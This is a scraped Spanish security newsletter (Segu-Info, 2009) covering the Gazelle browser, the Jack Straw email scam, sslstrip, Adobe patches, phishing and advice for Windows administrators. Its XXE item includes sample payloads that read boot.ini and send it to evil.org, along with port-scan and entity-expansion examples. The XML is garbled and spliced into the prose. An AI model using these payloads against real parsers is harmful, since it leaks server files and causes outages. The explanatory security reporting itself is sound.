Publicado el Boletín 131 - 28/02/2009
Boletín 131 - 28/02/2009
Los temas tratados son:
- ¿Es legal buscar puertos abiertos en sistemas ajenos?
- Análisis de un ataque de malware basado en web
- Nuevo Blog de Segu-Info
- Apoya a Segu-Kids, Juntos en la Red
Boletín 131 - 28/02/2009
Los temas tratados son:
Han pasado muchos inviernos y muchas cosas han cambiado desde entonces, pero lo que más me llama la atención es que, aunque la privacidad está ahora mucho más acosada que nunca y el uso de cifrado es muchísimo más sencillo, la cantidad de mensajes que se cifran no ha hecho más que menguar. Y creo disponer de un observatorio privilegiado que me permite sustentar esta afirmación...
Para conseguir su objetivo, Microsoft ha concebido Gazelle (gacela en inglés) como un sistema operativo, por lo que podría administrar de forma independiente la seguridad. El equipo encargado de desarrollar Gazelle asegura en una de las páginas web oficiales de Microsoft que no existe ningún navegador de las características del que ellos preparan.
De momento, la compañía no ha ofrecido fecha alguna para su posible lanzamiento, si quiera en fase beta (en pruebas), y reconocen que el proceso de desarrollo se encuentra en una fase muy inicial.
Desde el anuncio, realizado el pasado 19 de febrero, son multitud los blogs y medios especializados que se han hecho eco de la noticia y de cómo será esa nueva arquitectura que, promete, dotará al nuevo navegador de una gran seguridad.
Características
No, no es un chiste. Al menos no uno intencional. Es una afirmación de Microsoft Research. El navegador, que llevará el nombre Gazelle, estará compuesto por un kernel de 5.000 líneas en C# y, tal cual Chrome, crearía diferentes procesos por demanda, totalmente aislados de los recursos del sistema. Ambas cosas, supuestamente, le ayudarían a Gazelle a ser super seguro. Aún es un prototipo, no hay enlace de descarga, pero parece que la cosa viene en serio. Que no, no es broma.
Seguramente fue un shock. O tal vez pensaste que era el Día de los Inocentes. Pero no, eso de Navegador ultra-seguro de Microsoft no lo decimos nosotros, es una afirmación de Microsoft Research. La idea detrás de Gazelle, tal es el nombre de este navegador, es separar en diferentes procesos todas las demandas recibidas. Estas demandas serán administradas por el kernel del navegador (5.000 líneas en puro C#), que gestionaría todos los accesos directos al sistema operativo y a las redes. El rendereado de páginas solo podría acceder a los recursos indirectamente, vía API o solo Kernel mediante.
También, y a diferencia de Chrome, los procesos se crearían por dominio, y no por pestaña. Por ejemplo, una página que carga un vídeo de YouTube, estaría dividida en dos procesos. El vídeo de YouTube sería un huésped del sitio madre y no tendría acceso a ningún otro lugar del sitio, más allá del iframe. Por su parte, el sitio madre solo manejaría las dimensiones del iframe, pero no tendría acceso a su contenido. Esta separación de procesos por dominio sería tan severa que incluso los subdominios de un dominio serían tratados como procesos diferentes. Todos los procesos estarán aislados de sí mismos y del sistema.
Gazelle no separaría JavaScript, CSS y HTML en diferentes ítems a renderizar. Todo lo referente al rendereado partiría de una sola fuente, contenida en un solo proceso. Ese proceso, por su lado, forma parte de uno de los “principales”. Los principales podrían comunicarse con el Kernel y consigo mismo, pero solo mediante una API. Separar procesos y distinguir a estos principales serviría para manejar, entre otras cosas, los eventos generados por el usuario. Por ejemplo, un clic del ratón sería desviado al principal a cargo del área en la que se pinchó, imposibilitando así la acción de los scripts responsables del Clickjacking.
Todo esto, que puede resultar super confuso (y de dudosa implementación real), está ampliado y mucho mejor explicado en el paper The Multi-Principal OS Construction of the Gazelle Web Browser, que puedes descargar en el sitio de Microsoft Research. Aquellos que han probado el prototipo lo señalan como “pasable”. Ya veremos, en el futuro, cómo funciona.
Los colegas de Jack Straw recibieron hace unos días lo que parecía un mensaje un tanto escamante del ministro de Justicia británico. "He extraviado mi cartera camino del hotel, en la que tenía todo el dinero y otros objetos de valor. Necesito que me ayudes urgentemente con un pequeño préstamo para pagar la cuenta del hotel y regresar a casa", decía el político presuntamente atrapado en Lagos, la capital de Nigeria.
El mensaje correspondía a la dirección electrónica del diputado laborista en Blackburn, su distrito electoral. La cantidad solicitada a 200 de sus allegados para salir del apuro eran 3.000 libras (3.300 euros). Solo uno contestó, aunque no mandó dinero. Straw aclaraba en la nota que se hallaba asistiendo en el país africano a una cumbre para ayudar a los jóvenes a luchar contra el racismo. La realidad era, claro está, muy distinta.
El ministro, ajeno a lo que sucedía, trabajaba en su despacho del Parlamento en Londres, cuando empezó a recibir llamadas de varios miembros de la circunscripción. "Me preguntaban si de verdad estaba en Nigeria y necesitaba 3.000 libras", relata.
"Era obviamente ridículo que me hubiera ido de senderismo a África y hubiera perdido la cartera", afirma el hombre que al frente del Departamento del Interior creó en el 2001 una de las primeras unidades policiales del mundo para luchar contra el fraude en internet. Ahora, precisamente él ha sido víctima de una de esas bandas de delincuentes. Los hackers nigerianos entraron en su correo oficial de Blackburn y utilizaron la agenda de contactos para enviar las misivas.
El alcalde de la localidad, Mohamed Khan, fue uno de los que recibió el mensaje, "al igual que mucha otra gente". "Es malo que alguien pueda creer que Jack Straw está pidiendo dinero", se lamenta el dirigente.
La escaramuza, sin consecuencias aparentes, ilustra la osadía de las mafias nigerianas que operan en la red. Las fechorías de unos pocos han convertido el nombre de Nigeria en sinónimo de un fraude internacional, conocido como 419 scam, el número del Código Penal nigeriano atribuido al popular delito.
Desde los cibercafés de Lagos, miles de buscavidas tratan cada día de limpiar alguna cuenta bancaria en cualquier rincón del mundo. Faxes, cartas y sobre todo correos electrónicos son los anzuelos para tentar a los crédulos sin fronteras.
El mensaje, muy respetuoso y en un inglés precario, tiene un formato fijo, aunque la historia ofrezca a veces variantes muy novelescas. En una ocasión se trata de una fortuna dejada por un familiar lejano, a disposición de quien recibe la nota. En otra, se invoca falsamente a la Cámara de Comercio e Industria de Nigeria o la Compañía Nacional de Petróleo para pedir colaboración en el blanqueo de dinero.
A veces, en lugar de apelar a la avaricia del destinatario, se intenta conmover su buen corazón. Hay relatos lacrimógenos, protagonizados por pobres viudas, huérfanos y perseguidos políticos, que han dejado una fortuna en su país y solo un extranjero puede recuperarla. En todas las ocasiones, el remitente cita la mediación de un abogado, pide datos bancarios y una cantidad para gastos de gestión y transferencia. Ese primer pellizco oscila al principio entre las 2.000 y las 3.000 libras. Si alguien cae en la trampa y tiene la desgracia de contestar, la cifra irá subiendo, alegando nuevas gestiones e imprevistos y reclamando más dinero, que no volverá a ver.
El instituto de observación Chatham House estimaba en el 2006 que solo en el Reino Unido este tipo de incidentes ha costado "150 millones de libras al año y unas 31.000 libras de media a cada víctima". En Estados Unidos, la Liga de Consumidores Nacionales apunta al fraude procedente de Nigeria como "el delito en la red de mayor crecimiento".
En España, los estafadores nigerianos orquestaron desde Málaga el envío masivo de cartas a Norteamérica y al norte de Europa, anunciando sabrosos premios de una supuesta "lotería española". Un falso directivo de la Organización Nacional de Loterías y Apuestas del Estado comunicaba al destinatario haber sido agraciado en un sorteo, en el que ni siquiera había participado. Para recibir la suma era necesario adelantar los gastos de gestión y los impuestos.
En un año hubo más de 1.500 denuncias, aunque muchos de los que picaron prefirieron callar por vergüenza. La llamada operación Nilo terminó con más de 300 nigerianos detenidos en Andalucía.
Fuente: El Periodico
¿Qué es lo que se quiere lograr con esto? Pues evitar que las ventas de Vista decaigan en el periodo cercano a la salida de Windows 7, y reducir la confusión que acerca de si es mejor seguir con Windows Vista/Server 2008 SP2 o hacer upgrade hacia Windows 7 (lo que de todas maneras ocurrirá, pero será en menor grado que si el SP2 se lanzara después o en la misma fecha que Windows 7).
Cibercriminales penetraron en la cuenta de correos personal de Jack Straw, ministro de justicia de Gran Bretaña, poniendo a sus contactos en peligro de ser víctimas de una estafa nigeriana.
Los delincuentes enviaron un mensaje a todos los contactos de la cuenta de Hotmail de su víctima haciéndose pasar por Straw.
El mensaje explicaba que Straw se encontraba en Nigeria haciendo un trabajo social en contra del racismo cuando perdió su billetera.
Por esa razón, se pedía a los destinatarios del correo que depositaran 3.500 dólares para ayudar a Straw a pagar los gastos del hotel y regresar a Gran Bretaña.
Entre los destinatarios del mensaje se encontraban oficiales del ministerio, miembros de partidos políticos y colaboradores.
“Comencé a recibir llamadas telefónicas de varios colaboradores preguntando si de verdad estaba en Nigeria y necesitaba 3.000 dólares”, dijo Straw.
Además, una persona respondió al correo para asegurarse de que Straw estaba bien, pero no llegó a enviar el dinero.
A pesar de la atención que recibió el ministro a causa de este problema, parece que nadie cayó en la trampa.
Straw afirmó que, aunque el correo fraudulento llegó a un "número significativo de personas", no se ha puesto en riesgo la seguridad nacional porque los delincuentes ingresaron a su cuenta personal, no a la ministerial que utiliza para tratar asuntos del gobierno.
Todavía no se sabe qué hicieron los delincuentes para ingresar a la cuenta. Los expertos creen que es posible que hayan averiguado su contraseña o que hayan respondido a su pregunta de seguridad, como pasó el año pasado con la gobernadora Sarah Palin.
Hotmail ha bloqueado la cuenta afectada para evitar que los cibercriminales la sigan atacando.
Fuente: Viruslist
El ataque del intermediario o man-in-the-middle (MitM) como se lo conoce en ingles es un ataque donde un ciberdelicuente es capaz de interceptar y modificar los mensajes de dos usuarios sin que estos se den cuenta. La compañía Verisign en la conferencia Black Hat ha dado una serie de consejos para usuarios y empresas sobre como protegernos de un nuevo tipo de ataque MitM.
Esta nueva variante de ataque es la ultima versión del mismo donde un usuario puede ser engañado y enrutado al sitio web equivocado. Lo diferente de este ataque es lo de lo sofisticado de las diferentes señales visuales que presenta en la cual reemplazan el favicon del sitio fraudulento con un icono de candado el cual tradicionalmente ha sido usado para representar a un sitio protegido con SSL. Pero a pesar de reproducir el candado este esquema de ataque no puede reproducir el indicador legitimo de HTTPS o el brillo verde que puede ver en la barra de navegación.
Consejos para protegerse del ataque MitM :
Para usuarios finales:
Para empresas:
46181cf01e08b1760cecac95bbd486dd3b808988Haciendo una búsqueda del primer hash en VirusTotal.com se puede apreciar que dicho archivo fue enviado y analizado por primera vez el pasado 26 de diciembre. Dato indicativo de que una primera versión del exploit podría estar siendo utilizada desde hace más de dos meses.
6605bf6aee31f0cb2370d684aa32e5a588d4aaf4
675b12b1e50c9463576061cf5181a3f58dc30e59
7fe5481b1edc4df99488f5cc0f65f70fa35978d6
968ad6a8259ddf5f9705fef2ba2eaa3b63b1626f
Enorme Agujero de Seguridad emparchado, de alguna forma
Por una vez, es tiempo de buenas noticias. Microsoft liberó una actualización "no de seguridad" esta semana que soluciona una falla en la característica de autorun para discos [y otros medios de almacenamiento removibles.]Como acostumbra tradicionalmente Microsoft, la actualización es descripta como no relacionada con seguridad , aunque la falla en cuestión viene a ser una de las razones por las cuales el virus Conficker se sigue propagando. Efectivamente, el problema es el cual en ciertos casos, incluso cuando el registro está fijado para deshabilitar el autorun, el sistema ejecuta igualmente el autorun con lo que hubiera en el disco de red montado.
Sin dudas, los millones (estimados segun lo que dicen) de personas que poseen sistemas infectados con variantes del Conficker/Downadup se regocijaran sabiendo que ahora hay una forma menos por la cual las computadoras cargadas del malware podrán infectar a otros. Quizás ¿no sería tiempo de emparcharlo y que deje de existir completamente?
ACTUALIZACIÓN:
El parche apareció por primera vez en Mayo de 2008, pero era opcional y no se publicó mediante las actualizaciones automáticas. O sea, uno debía saber que existía para luego aplicarlo.
Adobe ha publicado una nueva versión de su reproductor Flash, la 10.0.22.87, que soluciona un problema de seguridad tanto en Adobe Flash Player 10.0.12.36 -la que hasta ahora era la última versión- como en versiones anteriores de este popular complemento.
Según el documento publicado por Adobe, dicha vulnerabilidad podía hacer que un atacante que la explotase convenientemente pudiera ganar acceso al sistema y controlarlo remotamente. El ataque podría consistir en un fichero SWF malicioso que al cargarse en el reproductor daría acceso a los recursos de la víctima al atacante.
Para solucionar el problema Adobe ha publicado la versión 10.0.22.87 de su Flash Player, que ya está disponible a través del Player Downloader Center, y que también podremos descargar desde las opciones de actualización del programa. De hecho es muy probable que la próxima vez que utilicéis el reproductor salte la alerta de actualización, que os recomendamos aceptar para tener el reproductor al día… y seguro.
Fuente: The Inquirer
Como era de esperarse la incansable manía de muchas de las empresas del entretenimiento en pos de limitar el intercambio de archivos de lo que ellos se consideran dueños esta haciendo que algunos prefieran avanzar un poco y sacarles la posibilidad de espiarnos, usando a nuestro proveedor de Internet, mirando que es lo que estamos compartiendo en la red p2p. Esta, además, es una de las principales formas que usan para crear sus ridículas demandas.
Por esto sale el (acá para bajarlo) que es un cliente basado en BitTorrent, creado por la gente de la Universidad de Washington y es de código libre. El mismo agrega seguridad en encriptación de datos, oculta el origen de los mismos y el destino. Es, justamente, un golpe a la principal fuente de información de inquisidores de la música y el video.
Un paso obvio que muestra nuevamente la gran adaptabilidad que tiene Internet a las trabas que el quieran poner.
Fuente: Tecnogeek
< !ENTITY s21 "Grupo S21sec Gestión ">Menos conocida es la posibilidad de insertar contenido de elementos externos, por ejemplo:
< !ENTITY midoc SYSTEM "http://www.s21sec.com /midoc.xml">El problema aparece cuando el parser que trata los datos de entrada XML procesa sin ninguna restricción elementos como los anteriores descritos. Es entonces cuando podemos utilizar esta técnica, que comúnmente recibe el nombre de “Ataques XXE (XML eXternal Entity)”, para atacar al servidor que procesa el documento XML.
< !ENTITY arch SYSTEM "arch.txt">
< !DOCTYPE doc [ < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">Escaneo de puertos: Se trata de definir entidades externas que el servidor deba resolver para insertar su contenido en el documento.
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>
< !DOCTYPE scan [ < !ENTITY s21sec SYSTEM "http://1.1.1.1:21/">Existe un documento excelente detallando esta técnica de Colin Wong de SIFT.
]>
< !DOCTYPE SOAP-ENV:Envelope [ < !ENTITY x0 "s21sec">Para prevenir todos estos ataques hemos de indicar al parser XML que no procese entidades externas, la implementación de esta restricción dependerá en gran medida del parser que utilicemos.
< !ENTITY x1 "&x0&x0">
< !ENTITY x2 "&x1&x1">
...
< !ENTITY x100 "&x99&x99">]>
Una vez que los usuarios de chat de Gmail (Gtalk) son atacados, los phishers toman control de las cuentas de chat y envían mensajes a otros usuarios supuestamente con un enlace a un "video gracioso." Cuando los usuarios hacen clic en el enlace, son dirigidos a un sitio Web llamado "ViddyHo," donde se les pide ingresar su nombre de usuario de Gmail y la contraseña. El sitio Web roba así la información de la cuenta del usuario y usan sus cuentas de chat para enviar más mensajes.Nota de Segu-info:
* Si ud. sospecha que pudo haber sido engañado de esta forma cambie inmediatamente la contraseña de Gmail.
* Recuerde, si se encuentra con un sitio Web que le solicita sus credenciales, piense dos veces antes de ingresarlas.
Traducido para blog de Segu-Info por Raúl Batista
Autor: Brad ReedLa Corte Suprema de Justicia de la Nación acaba de confirmar el fallo que declaró inconstitucional la ley de datos de tráfico, ley 25.873, en el caso Halabi por lo que la ley y su decreto reglamentario no resultan aplicables hasta tanto el Congreso aprueba una nueva ley.
Es importante que ahora el Congreso intente aprobar una ley mas completa como la sancionada en España recientemente llamada Ley 25/2007 de 18 de octubre sobre conservación de datos relativos a las comunicaciones electrónicas y a las redes públicas de comunicaciones o en las normas respectivas de la Convención del Cibercrimen, de modo de poder permitir obtener pruebas relacionadas con los delitos informáticos y que ésto se realice en colaboración con las telefónicas y los isps. De lo contrario, Internet será el vale todo y será imposible obtener pruebas digitales.
Contenido completo en Habeas DataComo es sabido, el NIST tiene en marcha un concurso para seleccionar el algoritmo que se utilizará para SHA-3.
Pues bien; una primera aproximación con la herramienta de análisis de código de Fortify ya ha detectado varios bugs en algunos de los algoritmos candidatos.
Entre los más destacables, varios desbordamientos de buffer en el MD6 de Ron Rivest y su equipo.
Fuente: Kriptopolis
Como suponíamos al principio por ahora sólo se trata de "ajustar" a los proveedores argentinos para que los mismos se "encarguen" del tema con sus clientes. ¿Seguirá así?Días después de conocerse una vulnerabilidad considerada como crítica en Adobe Acrobat y Reader, Sourcefire ha publicado un parche contra la vulnerabilidad. El parche sólo aplica a la versión de Windows de Adobe Reader 9.0 y no tiene ningún tipo de garantía.
El parche remplaza una librería DLL vulnerable, AcroRd32.dll, ubicada en “C:\Program Files\Adobe\Reader 9.0\Reader\” que pesa 19MB. Para versiones de Adobe Reader anteriores a la 9 tendrán que actualizar el software para poder utilizar este parche.
Los atacantes vienen aprovechando una vulnerabilidad en la llamada a una función no relacionada con JavaScript desde, por lo menos, el 12 de febrero (fecha en que se dió a conocer la vulnerabilidad) pero Adobe anunció que será hasta el 11 de marzo que se pueda parchear el fallo oficialmente.
Contrario a lo que informes anteriores han asegurado, la desactivación de JavaScript en Adobe Reader no impide la explotación de la vulnerabilidad.
Los usuarios que quieran probar este parche deben tener claro que la ejecución de software modificado por terceros conlleva mayor riesgo que la aplicación de un parche oficial.
Fuente: Blogantivirus
Sslstrip combina una buena tanda de técnicas con el único objetivo de que el usuario realmente no sepa que está en una web falsa o que su tráfico no está siendo realmente cifrado. Aclarar que el problema no está en el SSL, sigue siendo lo mejor de lo que disponemos para realizar conexiones seguras. El fallo está un poco en los navegadores, un mucho en los usuarios, algo en los certificados, bastante en las redes... pero no en la tecnología en sí.
Como siempre, teniendo en cuenta el éxito del que gozan técnicas mucho más sencillas, sslstrip todavía no será usado por atacantes de forma masiva, sino para ataques muy específicos contra usuarios avanzados. Y estos son quizás los que deban estar más atentos.
Para ser víctima del sslstrip, la primera condición ineludible es que la conexión debe estar siendo interceptada. Bien a través de un envenenamiento de ARP en red interna, bien a través de puntos de acceso wireless falsos... el caso es que el atacante debe actuar como proxy en la comunicación, teniendo acceso al tráfico. Esta es una premisa importante, pero no es extraña. El investigador usó con éxito la red de anonimato Tor para sus pruebas. Sslstrip hace todo en tiempo real, básicamente sustituyendo el tráfico cifrado (https) por uno no cifrado (http), de forma que al usuario se le presenta una página idéntica a la que necesita, pero sin cifrar y probablemente en otro servidor que pertenece al atacante. Acude al servidor real para tomar la información necesaria, pero en vez de devolverla cifrada al usuario, lo hace sin cifrar. Esta es su funcionalidad básica.
En la mayoría de las ocasiones esto sería suficiente para engañar a muchos usuarios. Pero obviamente esto llamaría la atención de otros tantos, que echarían en falta las advertencias que normalmente el navegador realiza cuando se está sobre una página cifrada (el candado, la barra dorada, el https, etc). Marlinspike, en su charla en la Black Hat, dio un buen montón de ideas y métodos para hacer que esto pase desapercibido incluso para los usuarios más avispados.
Una de ellas es la sustitución de un "favicon" de la página por un simple candado. El candado real no aparecería pero en los últimos tiempos se ha abusado tanto de esta imagen que su simple presencia (aunque no sea en el lugar correcto) da sensación de seguridad a los usuarios.
Otra de las técnicas es muy vieja ya. Se basa en el uso de caracteres especiales para hacer pensar al usuario que se encuentra en el dominio correcto. El atacante no tiene más que comprar un certificado válido para ese dominio, y de esta forma se evitarían todas las advertencias del navegador. Solo quien comprobase realmente la cadena de certificación del certificado estaría a salvo.
También presenta otras técnicas para eludir problemas como las cookies de seguridad y el manejo de sesiones autenticadas. Su herramienta tiene soluciones para evitar que el usuario más experimentado note que está siendo víctima de un robo de sus datos.
Otro de los puntos interesantes de la charla que ofreció Marlinspike, además de la presentación de la herramienta (que ha hecho pública), son las reflexiones sobre la seguridad SSL y cómo está implementada en los navegadores, de lo que hablaremos en la siguiente entrega.
Segundo revés del año al SSL. O más específicamente, a la confianza que tenemos los internautas en el SSL y las páginas seguras. La primera fue con los hashes de los certificados calculados con MD5, técnica dada a conocer a finales del año pasado. De nuevo se usaban diferentes métodos ya conocidos contra el SSL. Lo que Marlinspike ha publicado es una herramienta destinada a engañar al usuario que lo hace todo mucho más sencillo.
Marlinspike ya programó sslsniff en 2002, muy usado todavía, que realiza ataques man-in-the-middle sobre SSL. En su presentación en la Black Hat realiza una interesante reflexión sobre qué ha ocurrido con el cifrado SSL en los últimos años.
SSL no está roto por la publicación de sslstrip. Está "roto" desde hace tiempo, desde que el usuario medio al que intenta proteger no entiende en qué consiste esta tecnología, y desde que los navegadores han realizado una dudosa implementación del protocolo y en especial, de la interacción con el usuario.
Durante años, navegadores como Firefox 2.x e Internet Explorer 6.x, se han limitado a advertir al usuario con lo que Marlinspike llama "positive feedback", esto es, intentar demostrar que se está en el sitio correcto por medio de candados, barras doradas, etc. Esto no impresiona al usuario, que acaba obviando estos símbolos positivos. Pero lo peor es que es fácilmente imitable por los atacantes. Los diseñadores también han malacostumbrado a los internautas. En su empeño de parecer seguras, las páginas incluyen candados incluso en su propio código HTML, sellos de autenticidad y garantías... inútil a unos ojos que lo han visto mil veces y mucho más inútil cuando un atacante solo tiene que calcar el contenido de una web para engañar a un usuario.
Marlinspike concluye que el "negative feedback" para el usuario es mucho más efectivo. Esto es, advertirle con grandes pantallas (nada de ventanas emergentes, sino páginas integradas en el navegador) de que no se está en el sitio correcto. El usuario reacciona mejor ante las alertas negativas y catastróficas que ante la mera información o advertencia. Al no entenderlas por completo, terminarán por aceptar la opción que se le muestre por defecto.
En este sentido, tanto la rama 3 de Firefox como Internet Explorer 7 han mejorado sustancialmente. Acceder a una página con una cadena de validación de certificados inválida o con el certificado obsoleto, ahora requiere muchos más clicks por parte del usuario y es más escandalosamente advertido por los navegadores.
Sin embargo a pesar de todo eso sslstrip está preparado para hacer todo lo posible por convencer al usuario de que se encuentra en el sitio correcto. Y lo consigue. Ayuda el diseño de muchas páginas, que permiten que el usuario introduzca sus datos en un formulario no cifrado que termina en uno cifrado.
SSL por tanto, sigue siendo de las pocas cosas en las que podemos confiar en la red. El fallo está en todo lo que lo rodea: usuarios, diseñadores, protocolos, implementaciones, autoridades certificadoras... aprovechando pequeños problemas en todos y cada uno de estos actores, se pueden realizar ataques muy sofisticados. Si las técnicas quedan reunidas en una herramienta que permite llevarlas a cabo todas a la vez y sin demasiado esfuerzo, el problema es grave.
SSL goza de buena salud, pero si se comienza a cuestionar su validez, si siguen apareciendo técnicas que ponen en duda incluso a usuarios expertos, ya no importará si una página está cifrada o no. Para la mayoría de los usuarios, no significará nada porque realmente no tendrán forma de comprobar de forma sencilla que estén en el sitio correcto: "si pueden engañar a un usuario experto, también podrán conmigo de forma mucho más sencilla", y se rendirán ante una tecnología que ni conocen ni tienen por qué entender. Nadie quiere tener que comprobar rutas de certificación, fechas de certificados, etc, allá donde introduzca sus contraseñas.
Como solución, lo que Marlinspike propone es que todo el tráfico sea cifrado. No se debe pretender confiar ciegamente en HTTPs cuando está asentado sobre HTTP, un protocolo no seguro.Este artículo apunta a ayudarlo a evitar algunos de las equivocaciones más comunes que cometen los nuevos administradores Windows.
Tratar de cambiar todo a la vez
Cuando llega a un trabajo nuevo, o comienza a trabajar con una nueva tecnología, puede que tenga todo tipo de ideas brillantes. Si es nuevo en el lugar de trabajo, mejorará inmediatamente aquellas cosas que su predecesor (ó parece que, ó estaba) haciendo mal. Está lleno de todas las mejores prácticas y trucos que aprendió en la escuela. Si es un administrador que viene de una ambiente diferente, puede que esté acostumbrado a sus propias formas y quiera hacer las cosas de la forma que las hacía antes, en vez de aprovechar la características del nuevo SO.
De cualquier forma, es probable que se cause a usted mismo una gran pena. La mejor opción para alguien nuevo en redes Windows (o para cualquier otro trabajo) es darse un tiempo para adaptarse, observar y aprender, y proceder de forma pausada. Así hará más sencillo su trabajo y de esta forma a largo plazo hará más amigos (o al menos, menos enemigos).
Sobrestimar la capacidad técnica de los usuarios finales
Muchos administradores nuevos esperan que los usuarios tengan una mejor comprensión de la tecnología de la que tienen. No asuma que los usuarios finales comprendan la importancia de la seguridad, o que serán capaces de describir con precisión los errores que tienen, o que saben lo que se quiere decir cuando les dice que realicen una tarea sencilla (para usted) tal como ir al Administrador de Dispositivos y verificar el estado de la placa de sonido.
Mucha gente en el mundo de los negocios usa computadoras todos los días, pero saben muy poco sobre ellas más allá de operar ciertas aplicaciones específicas. Si se frustra con ellos, o los hace sentir estúpidos, la mayoría tratará de evitar llamarlo cuando haya un problema. En lugar de eso lo ignorarán (si pueden) o peor, tratarán de arreglarlo por sí mismos. Eso significa que los problemas podrán ser mucho peores para cuando se de cuenta de ellos.
Subestimar la experiencia técnica de los usuarios finales.
Aunque lo de arriba aplica para muchos de sus usuarios, la mayoría de las compañías tienen al menos algunos que son aficionados avanzados de computación y saben mucho de tecnología. Esos son los que surgirán con maneras innovadoras de sortear las restricciones que ponga si es que estas restricciones les resultan un inconveniente. La mayoría de estos usuarios no son maliciosos; solo están molestos que alguien más controle el uso de sus computadoras, especialmente si los trata como si no supieran nada.
La mejor táctica con estos usuarios es mostrarle que respeta sus habilidades, buscar su colaboración, y hacerles saber los motivos de las reglas y restricciones. Señalar que incluso el mejor corredor de autos que ha demostrado su habilidad por conducir de forma segura a alta velocidad debe soportar los límites de velocidad en las vía publica, y que no es porque se dude de sus habilidades tecnológicas, que usted debe insistir en señalarle a todos que sigan las reglas.
No habilitar la auditoría
Los sistemas operativos Windows Server tienen una auditoría de seguridad propia, pero no está habilitada por defecto. Tampoco es una de las características mejor documentadas, así que algunos administradores no logran aprovecharla. Y es una lástima, porque con las características de auditoría, usted puede llevar registro de los intentos de ingreso (logon), acceso a archivos y otros objetos, y acceso a los servicios de directorio. La auditoría de los Servicios de Dominio de Directorio Activo (AD DS) han sido mejorados en Windows Server 2008 y se pueden hacer ahora de forma más granular. Sin la auditoría propia o de software de terceros, puede ser casi imposible ubicar con exactitud y analizar que pasó en una brecha de seguridad.
No mantener actualizados los sistemas
Esto no requiere pensarse siquiera. Mantener sus servidores y máquinas cliente emparchados con las últimas actualizaciones de seguridad puede ser el camino para prevenir caídas, pérdidas de datos, y otras consecuencias del malware y los ataques. A pesar de ello muchos administradores se retrasan y sus redes están funcionando con sistemas que no están emparchados apropiadamente.
Esto sucede por varias razones. Departamentos de TI recargados y con poco personal sencillamente no consiguen aplicar los parches tan pronto son publicados. Después de todo, no es siempre una cuestión de “solo hacerlo”, todos saben que algunas actualizaciones pueden romper cosas, provocando que toda su red se detenga. Por lo tanto es prudente verificar los nuevos parches en un ambiente de prueba que simule las aplicaciones y configuraciones de su ambiente de red productivo.
Sin embargo, eso lleva tiempo, tiempo que puede que no tenga. Automatizar el proceso tanto como sea posible puede ayudarlo a mantener fluyendo esas actualizaciones. Tenga su red de prueba lista cada mes antes que, por ejemplo, Microsoft publique sus parches regulares. Use los Servicios de Actualización de Windows Server (WSUS) u otra herramienta para simplificar y automatizar el proceso una vez que decidió que el parche es seguro para ser aplicado. Y no olvide que las aplicaciones, no sólo el sistema operativo, también necesitan ser actualizadas.
Volverse descuidado con la seguridad
Muchos administradores fuerzan las mejores prácticas de seguridad para sus usuarios pero se vuelven descuidados con sus propias máquinas. Por ejemplo, profesionales de TI que nunca permiten a los usuarios correr XP usando una cuenta de administrador, no lo tienen en cuenta para ellos mismos mientras realizan tareas rutinarias que no requieren ese nivel de privilegios. Algunos administradores parecen pensar que ellos son inmunes al malware y los ataques porque ellos “saben más”. Pero este exceso de confianza puede llevar al desastre, tal como sucede en el caso de oficiales de policía que tienen la tasa más alta de accidentes con armas de fuego porque estando todo el tiempo alrededor de las armas se vuelven displicentes respecto de los peligros.
No documentar los cambios ni los arreglos
Documentar es una de las cosas más importantes que usted, como administrador de red, puede hacer para que su propio trabajo sea más sencillo y para facilitárselo a alguien más que ingrese y se haga cargo de la red en su ausencia. Sin embargo esta es una de las tareas más descuidadas de todas las tareas administrativas.
Puede pensar que recordará que parche aplicó o que cambio de configuración hizo que solucionó un problema exasperante, pero un año después, probablemente no lo recordará. Si documenta sus acciones, no deberá perder tiempo precioso reinventando la rueda (o el arreglo) de nuevo.
Algunos administradores no quieren documentar lo que hacen porque piensan que si lo tienen todo en su cabeza, serán indispensables. En verdad, nadie nunca es irreemplazable y por hacer más difícil que algún otro aprenda su trabajo, hace menos probable que alguna vez sea promovido de ese trabajo.
Además, ¿que pasa si es atropellado por un camión mientras cruza la calle? ¿Realmente quiere que la compañía se paralice porque nadie sabe las contraseñas administrativas o tenga idea como ha configurado las cosas y que tareas diarias tiene que realizar para mantener la red en buen funcionamiento?
No probar los respaldos
Una de las cosas de las cuales se arrepienten más los usuarios hogareños es de olvidar respaldar su información importante y debido a eso lo pierden todo cuando les falla un disco rígido. La mayoría de los profesionales de TI comprenden la importancia de hacer respaldos y lo hacen de forma regular. Lo que algunos administradores muy ocupados no recuerdan hacer es probar regularmente esos respaldos para asegurarse que la información realmente está allí y que puede ser recuperada.
Recuerde que hacer el respaldo es solo el primer paso. Necesita asegurarse que esos respaldos funcionaran cuando los pueda necesitar.
Prometer lo que no se puede dar y no cumplir con las expectativas
Cuando su jefe lo presiona por respuestas a preguntas tales como “¿Cuando podrás tener todos los sistemas de escritorio actualizados con la nueva versión del software?” o “¿Cuánto costará tener el nuevo servidor de base de datos instalado y funcionando?”, su tendencia natural puede ser de dar una respuesta que lo haga quedar bien. Pero si hace promesas que no puede cumplir y luego se atrasa o se pasa del presupuesto, se hace a si mismo más un daño que un bien.
Una buena regla general en cualquier negocio es prometer menos y entregar más en vez de hacer lo opuesto. Si piensa que tomará dos semanas implementar un nuevo sistema, dese un poco de margen y prométalo para dentro de tres semanas. Si está seguro que podrá comprar el nuevo hardware que necesita por $10.000, por las dudas pida $12.000.
Su jefe quedará impresionado cuando termine el proyecto algunos días antes de tiempo o cuando gaste menos dinero que el esperado.
Tener miedo de pedir ayuda
El ego es algo divertido, y muchos administradores de TI han invertido mucho en el suyo. Cuando se trata de tecnología, puede que sea reticente en admitir que no lo sabe todo, y por lo tanto tema, o sienta vergüenza, de pedir ayuda. He conocido MCSEs y MVPs que no pueden soportar pedir ayuda a sus colegas porque sienten que se supone que son los “expertos” y que su reputación podría dañarse si admiten lo contrario. Pero lanzarse a un proyecto cuando no sabe lo que está haciendo puede sumergirlo en agua caliente, costarle mucho dinero a la compañía, e incluso costarle a usted su trabajo.
Si algo lo sobrepasa, esté dispuesto a admitirlo y busque ayuda de alguien con más conocimiento sobre el tema. Puede ahorrarse días, semanas e inclusos meses de fracasos.
Traducido para blog de Segu-Info por Raúl Batista
Autor: Debra Littlejohn Shinder, MCSE, MVP.Segu-Info es un emprendimiento personal de Lic. Cristian Borghello CISSP - CCSK - CSFPC que brinda información sobre Seguridad de la Información desde el año 2000. Segu-Info es la Comunidad de Seguridad de la Información más grande de habla hispana. Cristian Borghello no se hace responsable del contenido o comentarios de terceros.